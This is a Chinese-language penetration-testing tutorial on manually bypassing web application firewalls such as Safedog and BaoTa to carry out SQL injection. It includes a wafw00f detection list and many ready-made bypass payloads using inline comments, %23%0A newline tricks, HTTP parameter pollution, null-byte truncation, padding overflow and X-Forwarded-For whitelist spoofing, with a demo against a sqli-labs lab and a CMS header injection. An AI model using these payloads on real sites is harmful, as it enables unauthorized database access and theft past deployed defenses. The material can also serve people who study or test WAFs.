SQL注入之WAF手工绕过
前言
在实际的渗透测试过程中，经常会碰到网站存在WAF的情况。网站存在WAF，意味着我们不能使用安全工具对网站进行测试，因为一旦触碰了WAF的规则，轻则丢弃报文，重则拉黑IP。所以，我们需要手动进行WAF的绕过，而绕过WAF前肯定需要对WAF的工作原理有一定的理解。
phpstudy+safedog安装找不到服务解决
参考链接：https://www.freesion.com/article/15621202542/
市面上常见的waf产品列表分析 wafw00f
1.工具简介
现在网站为了加强自身安全，通常都会安装各类防火墙。这些防火墙往往会拦截各种扫描 请求，使得测试人员无法正确判断网站相关信息。Kali Linux 提供了一款网站防火墙探测工具 Wafw00f。它可以通过发送正常和带恶意代码的 HTTP 请求，以探测网站是否存在防火墙，并识别防火墙的类型。
2.WAFW00F 怎么工作
发送正常的 HTTP 请求，然后分析响应，这可以识别出很多 WAF。
如果不成功，它会发送一些（可能是恶意的）HTTP 请求，使用简单的逻辑推断是哪一 个 WAF。
如果这也不成功，它会分析之前返回的响应，使用其它简单的算法猜测是否有某个 WAF 或者安全解决方案响应了我们的攻击。
3.参数
它可以检测很多 WAF。想要查看它能检测哪些 WAF，以-l 参数执行 WAFW00F
ACE XML Gateway Cisco
aeSecure aeSecure
AireeCDN Airee
Airlock Phion/Ergon
Alert Logic Alert Logic
AliYunDun Alibaba Cloud Computing
Anquanbao Anquanbao
AnYu AnYu Technologies
Approach Approach
AppWall Radware
Armor Defense Armor
ArvanCloud ArvanCloud
ASP.NET Generic Microsoft
ASPA Firewall ASPA Engineering Co.
Astra Czar Securities
AWS Elastic Load Balancer Amazon
AzionCDN AzionCDN
Azure Front Door Microsoft
Barikode Ethic Ninja
Barracuda Barracuda Networks
Bekchy Faydata Technologies Inc.
Beluga CDN Beluga
BIG-IP Local Traffic Manager F5 Networks
BinarySec BinarySec
BitNinja BitNinja
BlockDoS BlockDoS
Bluedon Bluedon IST
BulletProof Security Pro AITpro Security
CacheWall Varnish
CacheFly CDN CacheFly
Comodo cWatch Comodo CyberSecurity
CdnNS Application Gateway CdnNs/WdidcNet
ChinaCache Load Balancer ChinaCache
Chuang Yu Shield Yunaq
Cloudbric Penta Security
Cloudflare Cloudflare Inc.
Cloudfloor Cloudfloor DNS
Cloudfront Amazon
CrawlProtect Jean-Denis Brun
DataPower IBM
DenyALL Rohde & Schwarz CyberSecurity
Distil Distil Networks
DOSarrest DOSarrest Internet Security
DotDefender Applicure Technologies
DynamicWeb Injection Check DynamicWeb
Edgecast Verizon Digital Media
Eisoo Cloud Firewall Eisoo
Expression Engine EllisLab
BIG-IP AppSec Manager F5 Networks
BIG-IP AP Manager F5 Networks
Fastly Fastly CDN
FirePass F5 Networks
FortiWeb Fortinet
GoDaddy Website Protection GoDaddy
Greywizard Grey Wizard
Huawei Cloud Firewall Huawei
HyperGuard Art of Defense
Imunify360 CloudLinux
Incapsula Imperva Inc.
IndusGuard Indusface
Instart DX Instart Logic
ISA Server Microsoft
Janusec Application Gateway Janusec
Jiasule Jiasule
Kona SiteDefender Akamai
KS-WAF KnownSec
KeyCDN KeyCDN
LimeLight CDN LimeLight
LiteSpeed LiteSpeed Technologies
Open-Resty Lua Nginx FLOSS
Oracle Cloud Oracle
Malcare Inactiv
MaxCDN MaxCDN
Mission Control Shield Mission Control
ModSecurity SpiderLabs
NAXSI NBS Systems
Nemesida PentestIt
NevisProxy AdNovum
NetContinuum Barracuda Networks
NetScaler AppFirewall Citrix Systems
Newdefend NewDefend
NexusGuard Firewall NexusGuard
NinjaFirewall NinTechNet
NullDDoS Protection NullDDoS
NSFocus NSFocus Global Inc.
OnMessage Shield BlackBaud
Palo Alto Next Gen Firewall Palo Alto Networks
PerimeterX PerimeterX
PentaWAF Global Network Services
pkSecurity IDS pkSec
PT Application Firewall Positive Technologies
PowerCDN PowerCDN
Profense ArmorLogic
Puhui Puhui
Qcloud Tencent Cloud
Qiniu Qiniu CDN
Reblaze Reblaze
RSFirewall RSJoomla!
RequestValidationMode Microsoft
Sabre Firewall Sabre
Safe3 Web Firewall Safe3
Safedog SafeDog
Safeline Chaitin Tech.
SecKing SecKing
eEye SecureIIS BeyondTrust
SecuPress WP Security SecuPress
SecureSphere Imperva Inc.
Secure Entry United Security Providers
SEnginx Neusoft
ServerDefender VP Port80 Software
Shield Security One Dollar Plugin
Shadow Daemon Zecure
SiteGround SiteGround
SiteGuard Sakura Inc.
Sitelock TrueShield
SonicWall Dell
UTM Web Protection Sophos
Squarespace Squarespace
SquidProxy IDS SquidProxy
StackPath StackPath
Sucuri CloudProxy Sucuri Inc.
Tencent Cloud Firewall Tencent Technologies
Teros Citrix Systems
Trafficshield F5 Networks
TransIP Web Firewall TransIP
URLMaster SecurityCheck iFinity/DotNetNuke
URLScan Microsoft
UEWaf UCloud
Varnish OWASP
Viettel Cloudrity
VirusDie VirusDie LLC
Wallarm Wallarm Inc.
WatchGuard WatchGuard Technologies
WebARX WebARX Security Solutions
WebKnight AQTRONIX
WebLand WebLand
wpmudev WAF Incsub
RayWAF WebRay Solutions
WebSEAL IBM
WebTotem WebTotem
West263 CDN West263CDN
Wordfence Defiant
WP Cerber Security Cerber Tech
WTS-WAF WTS
360WangZhanBao 360 Technologies
XLabs Security WAF XLabs
Xuanwudun Xuanwudun
Yundun Yundun
Yunsuo Yunsuo
Yunjiasu Baidu Cloud Computing
YXLink YxLink Technologies
Zenedge Zenedge
ZScaler Accenture
4.命令：
wafw00f 域名/IP
部分 bypass sqlinject payload
id=1union/*%00*/%23a%0A/*!/*!select1,2,3*/;%23
id=-1union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23
id=-1%20union%20/*!44509select*/%201,2,3%23
id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23
id=1/**&id=-1%20union%20select%201,2,3%23*/
id=-1%20union%20all%23%0a%20select%201,2,3%23
id=-1%20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23
WAF及绕过思路
1.WAF
Web应用防护系统(Web Application Firewall, 简称:WAF)代表了一类新兴的信息安全技术，用以解决诸如防火墙一类传统设备束手无策的Web应用安全问题。
首先，WAF分为非嵌入型WAF和嵌入型WAF，非嵌入型WAF指的是硬件型WAF、云WAF、软件型WAF之类的；而嵌入型WAF指的是网站内置的WAF。非嵌入型WAF对Web流量的解析完全是靠自身的，而嵌入型WAF拿到的Web数据是已经被解析加工好的。所以非嵌入型的受攻击机面还涉及到其他层面，而嵌入型WAF从Web容器模块型WAF、代码层WAF往下走，其对抗畸形报文、扫操作绕过的能力越来越强。当然，在部署维护成本方面，也是越高的。
如图，就是自带的阿里云盾：
宝塔一键化搭建（大部分非法网站都是使用的宝塔）
安全狗（用的比较多，是因为是免费的）
不开启全部是因为有些页面会出现误报
资源防护
流量防护
网站防护
漏洞防护
2.WAF绕过-应用层
1.大小写/关键字替换
id=1UnIoN/**/SeLeCT1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid() substring() 等价于substr()
@@user 等价于 User()
@@Version 等价于 version()
各种编码
大小写，URL，hex，%0A等
注释使用
//----+#//+:%00/!/等
再次循环
union==uunionnion
等价替换
user()=@@user()and=&or=|ascii=hex等
参数污染
?id=1&id=2&id=3
编码解码及加密解密
s->%73->%25%37%33
hex,unlcode,base64等
更改请求提交方式
GET POST COOKIE等
POST->multipart/form-data
2.中间件HPP(HTTP参数污染)
HPP是HTTP Parameter Pollution的缩写，意为HTTP参数污染。
原理：浏览器在跟服务器进行交互的过程中，浏览器往往会在GET/POST请求里面带上参数，这些参数会以 名称-值 对的形势出现，通常在一个请求中，同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。比如下面这个链接：http://www.baidu.com?name=aa&name=bb ，针对同样名称的参数出现多次的情况，不同的服务器的处理方式会不一样。有的服务器是取第一个参数，也就是name=aa。有的服务器是取第二个参数，也就是name=bb。有的服务器两个参数都取，也就是name=aa,bb 。这种特性在绕过一些服务器端的逻辑判断时，非常有用。
HPP漏洞，与Web服务器环境、服务端使用的脚本有关。如下是不同Web服务器对于出现多个参数时的选择：
通过HPP接管账户
当网站开发者不熟悉Web服务器对于多参数时如何选择，将给攻击者可乘之机。HPP能针对客户端和服务端进行攻击。
HPP参数污染还可以用于绕过某些防火墙对于 SQL注入的检测，例如当Web服务器对多参数都同时选择时，我们可以用以下这种方式绕过某些防火墙：
http://www.baidu.com/index.asp?page=select 1,2,3 from table where id=1
http://www.baidu.com/index.asp?page=select 1&page=2,3 from table where id=1
HTTP参数污染是指当同一参数出现多次，不同的中间件会解析为不同的结果
以参数color=red&color=blue为例
3.WAF绕过-数据库特性
1、Mysql技巧
（1）mysql注释符有三种：#、/**/、-- ...(注意--后面有一个空格，或者为--+)
（2）空格符:[0x09,0x0a-0x0d,0x20,0xa0]
（3）特殊符号：%a换行符
可结合注释符使用%23%0a，%2d%2d%0a。
（3）内联注释：
/!UnIon12345SelEcT/1,user()//数字范围1000-50540
（4）mysql黑魔法
select{xusername}from{x11test.admin};
2、SQLServer技巧
（1）用来注释掉注射后查询的其余部分：
/*C语言风格注释
SQL注释
;00％空字节
（2）空白符：[0x01-0x20]
（3）特殊符号：%3a冒号
id=1union:select1,2from:admin
（4）函数变形：如db_name 空白字符
3、Oracle技巧
（1）注释符：--、/**/
（2）空白字符：[0x00,0x09，0x0a-0x0d,0x20]
4.配合FUZZ（SQLI FUZZ字典，SQL注入过滤关键字的Fuzz字典）
就是模糊测试，批量测试
select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin
5.数据库特性（补充）
%23x%0aunion%23x%0Aselect%201,2,3
%20/*!44509union*/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23%0a%20select%201,2,3%23
分析下句
%20union%20/*!44509select*/%201,2,3
绕过了waf
4.WAF绕过-逻辑层
1、逻辑问题
（1）云waf防护，一般我们会尝试通过查找站点的真实IP，从而绕过CDN防护。
（2）当提交GET、POST同时请求时，进入POST逻辑，而忽略了GET请求的有害参数输入,可尝试Bypass。
（3）HTTP和HTTPS同时开放服务，没有做HTTP到HTTPS的强制跳转，导致HTTPS有WAF防护，HTTP
没有防护，直接访问HTTP站点绕过防护。
（4）特殊符号%00，部分waf遇到%00截断，只能获取到前面的参数，无法获取到后面的有害参数
输入，从而导致Bypass。比如：id=1 %00 and 1=2 union select 1,2,column_name from information_schema.columns
2、性能问题
猜想1：在设计WAF系统时，考虑自身性能问题，当数据量达到一定层级，不检测这部分数据。只要不断的填充数据，当数据达到一定数目之后，恶意代码就不会被检测了。
猜想2：不少WAF是C语言写的，而C语言自身没有缓冲区保护机制，因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug，从而实现绕过。
例子1：
?id=1and(select1)=(Select0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
PS：0xA*1000指0xA后面”A"重复1000次，一般来说对应用软件构成缓冲区溢出都需要较大的测试长度，这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。
例子2：
?a0=0&a1=1&.....&a100=100&id=1
union
select
1,schema_name,3
from
INFORMATION_SCHEMA.schemata
备注：获取请求参数，只获取前100个参数，第101个参数并没有获取到，导致SQL注入绕过。
3、白名单
方式一：IP白名单
从网络层获取的ip，这种一般伪造不来，如果是获取客户端的IP，这样就可能存在伪造IP绕过的情况。
测试方法：修改http的header来bypasswaf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
方式二：静态资源
特定的静态资源后缀请求，常见的静态文件(.js.jpg.swf.css等等)，类似白名单机制，waf为了检测效率，不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注：Aspx/php只识别到前面的.aspx/.php，后面基本不识别
方式三：url白名单
为了防止误拦，部分waf内置默认的白名单列表，如admin/manager/system等管理后台。只要url中存在白名单的字符串，就作为白名单不进行检测。常见的url构造姿势
涉及资源：
https://www.cnblogs.com/backlion/p/9721687.html
https://blog.csdn.net/nzjdsds/article/details/93740686
案例演示
WAF部署-安全狗,宝塔等waf搭建部署
宝塔：https://blog.csdn.net/weixin_43253175/article/details/105752439
1.以已经安装waf的sqlli-labs less2为例
直接输入payload会被拦截，无法注入
使用post提交方式即可绕过（前提条件是源码支持该提交方式）
页面显示不正常，是因为有些代码只支持特定的提交方式，比如该关是使用get提交方式，思路是对的，但是在本关是无法成功的
将本关源码get接收参数改为post，在判断回显位时可以正常注入
在进行回显位查询信息时，出现报错，是因为出现了过滤词database，是因为安全狗里面的漏洞防护规则里打开了防止查询数据库相关信息的规则
将该规则关闭之后可以正常注入
正常waf是开着的，所以针对拦截数据，我们可以针对数据进行相关的编译
将源码改为只允许GET
进行尝试，发现union不被拦截，select也不被拦截。而union select被拦截，说明是 union select关键词的问题。
原因是开启了拦截联合查询的规则
使用
%23是#
%0A代表的是一个换行符
原理
#是为了闭合a ，使用%0A换行是为了将union和select连接起来。如果不换行的话union后面的#会将union后面所有的语句注释掉
参数污染
原理
/** */ 注释
语句没有执行
简要讲解安全狗,宝塔等防护waf策略规则
简要演示安全狗 bypass sqlinject 防护规则
eg:
当前执行语句：
select * from users where id=-1 union select 1,2,3#*/
安全狗匹配的时候匹配的是
1/**-1 union select 1,2,3#*/
或1/**&id-1%20union%20select%201,2,3%23*/
其中符号中起到注释作用，正常情况下没有执行，
安全狗直接不管，但是参数污染导致的真实数据是
-1 union select 1,2,3#*/正常执行sql
实测简易CMS头部注入漏洞Bypass原理分析
抓包，注入点：X-Forwarded-For:
如：X-Forwarded-For:8.8.8.8' union select 1,2,3,database(),5#
